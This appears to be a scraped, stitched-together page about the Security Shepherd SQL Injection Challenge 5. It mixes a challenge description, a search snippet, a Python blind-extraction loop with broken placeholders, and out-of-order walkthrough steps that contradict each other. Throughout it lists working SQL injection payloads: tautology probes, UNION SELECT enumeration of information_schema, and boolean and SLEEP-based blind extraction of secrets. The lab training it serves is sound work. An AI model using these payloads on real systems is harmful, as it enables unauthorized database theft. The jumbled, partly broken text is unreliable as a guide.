Sql Injection Challenge 5 Security Shepherd 2021 May 2026

SQL Injection Challenge 5 — Security Shepherd

Goal: craft a clear challenge description and instructions for participants to find and exploit an SQL injection vulnerability (for defensive testing/learning only).

Challenge overview

• Title: SQL Injection Challenge 5
• Difficulty: Intermediate
• Objective: Identify a parameter vulnerable to SQL injection, craft payloads to extract database schema information and a secret value stored in the users table, and demonstrate exploitation without causing destructive changes.

Environment

• Backend: MySQL-compatible database (no destructive privileges)
• Authentication: Application has a login page and a search endpoint that accepts a GET parameter named q
• Data of interest: database name, table names, column names, and the value of the secret column in the users table (column name: secret_flag)

Rules and safety

• This challenge is for educational use only on the provided lab environment.
• Do not perform attacks against systems you do not own or have permission to test.
• Do not attempt destructive queries (DROP, DELETE, UPDATE). Limit to SELECT and information-retrieval queries.
• Rate-limit requests to avoid service disruption.

Hints (progressive)

1. Start by testing the search endpoint with basic payloads:
   • q=normalterm
   • q=' OR '1'='1
2. If the above yields different results, try using UNION-based enumeration:
   • q=' UNION SELECT NULL, NULL--
   • Increase columns until the UNION succeeds.
3. Use version() and database() to confirm backend:
   • q=' UNION SELECT NULL, version()--
   • q=' UNION SELECT NULL, database()--
4. Enumerate table and column names from information_schema.tables and information_schema.columns:
   • q=' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1--
   • q=' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1--
5. Extract the secret_flag from users:
   • q=' UNION SELECT NULL, secret_flag FROM users LIMIT 0,1--

Example exploitation steps (concise)

1. Probe for injection: request /search?q=' OR '1'='1
2. Find number of columns with ORDER BY or by iterating UNION NULLs.
3. Use UNION SELECT to return database() or version().
4. Enumerate tables/columns via information_schema queries.
5. Retrieve secret_flag value via UNION SELECT secret_flag FROM users LIMIT 0,1--.

Deliverables

• A short report containing:
  • The vulnerable endpoint and parameter.
  • The working injection payloads used.
  • Evidence (HTTP responses or screenshots) showing retrieved schema info and secret_flag.
  • Recommendations to fix: use parameterized queries/prepared statements, input sanitization, least-privilege DB user, and proper error handling.

Suggested mitigations

• Use prepared statements with bound parameters.
• Avoid constructing SQL with direct string concatenation.
• Sanitize and validate input on server side.
• Configure DB user with only needed privileges (no access to information_schema if unnecessary).
• Disable verbose SQL error messages in production.

Legal/ethical reminder

• Use only within the intended lab. Do not reuse payloads against unauthorized targets.

Would you like this formatted as a challenge page (HTML) or a printable PDF?

OWASP Security Shepherd SQL Injection Challenge 5 is a hands-on exercise designed to teach advanced exploitation techniques by using sub-query injection to bypass input filters and extract a hidden VIP coupon code. The challenge, often featuring a "Troll Shop" scenario, requires using UNION SELECT techniques to map backend table structures and retrieve secure data. For more details, visit GitHub. couponcode from challenges SQL injection 5 #323 - GitHub

Step 2: Extract characters

for position in range(1, key_length + 1): for ascii_code in range(32, 127): # Printable ASCII payload = f"ASCII(SUBSTRING((SELECT column_name FROM table_name WHERE row_condition), position, 1)) = ascii_code" if test_payload(payload): char = chr(ascii_code) target_string += char print(f"[*] Position position: char -> target_string") break

print(f"\n[+] Secret Key: target_string")

Step-by-Step Solution

The Vulnerability

The login form is vulnerable to SQL injection, but error-based and union-based attacks are blocked.
The underlying query likely looks like:

SELECT * FROM users WHERE username = '[input_user]' AND password = '[input_pass]'

If the query returns a row, login succeeds; otherwise, it fails.
No error is shown — only “Login success” or “Login failed”. Sql Injection Challenge 5 Security Shepherd

Step 5: Extract Column Names

Now that we have the table name (e.g., challenge5), we need to know the column names to select the password or key.

Payload: ' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name = 'challenge5'--

Result Analysis: The screen should list the columns in that table. Common names are username, password, pin, or answer.

Let's assume the output reveals columns: username and password.

Step 4: Enumerate the Database Schema

We cannot steal the flag if we don't know the table name. We need to query the metadata. In Security Shepherd, the underlying database is typically MySQL (or sometimes H2). The metadata is stored in information_schema.

We want to find the table names. We suspect the data is in the second column.

Payload: ' UNION SELECT 1, table_name, 3 FROM information_schema.tables-- SQL Injection Challenge 5 — Security Shepherd Goal:

Result Analysis: The application will likely list the first table name it finds in the database (e.g., CHARSETS or COLLATIONS). However, we want the application-specific tables. We need to narrow this down.

Typically, the default database schema name in Shepherd is PUBLIC or sometimes just the default schema.

Payload to find tables in the current schema: ' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'--

Note: The exact exclusion list may vary, but usually, you are looking for tables that look like users, challenge, or specifically tbl_ch5.

Let's assume the output reveals a table named challenge5 (or similar).

3. Time-Based Blind as Fallback

If the true/false response is identical, fall back to time-based: 5' AND IF(ASCII(SUBSTRING((SELECT hash FROM keys LIMIT 1),1,1)) = 97, SLEEP(5), 0) AND '1'='1

Then measure response time (>5 seconds = true). Environment